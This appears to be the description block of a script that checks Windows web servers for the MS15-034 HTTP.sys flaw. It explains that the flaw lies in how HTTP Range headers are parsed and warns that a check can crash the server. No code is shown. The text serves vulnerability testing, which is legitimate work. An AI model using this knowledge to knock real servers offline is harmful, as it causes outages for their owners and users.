Used to check for CVE-2015-1635 / MS15-034 which can lead to remote code execution. Currently when sending a request it can trigger a blue screen on the Windows Server, effectively rendering it offline.

Danger! This script has not been properly qa'd and will probably fail in terrible ways.
It is based off a change in HTTP!UlpParseRange in which an error code is returned as a
result of a call to HTTP!RtlULongLongAdd when evaluating the upper and lower range of
an HTTP range request.
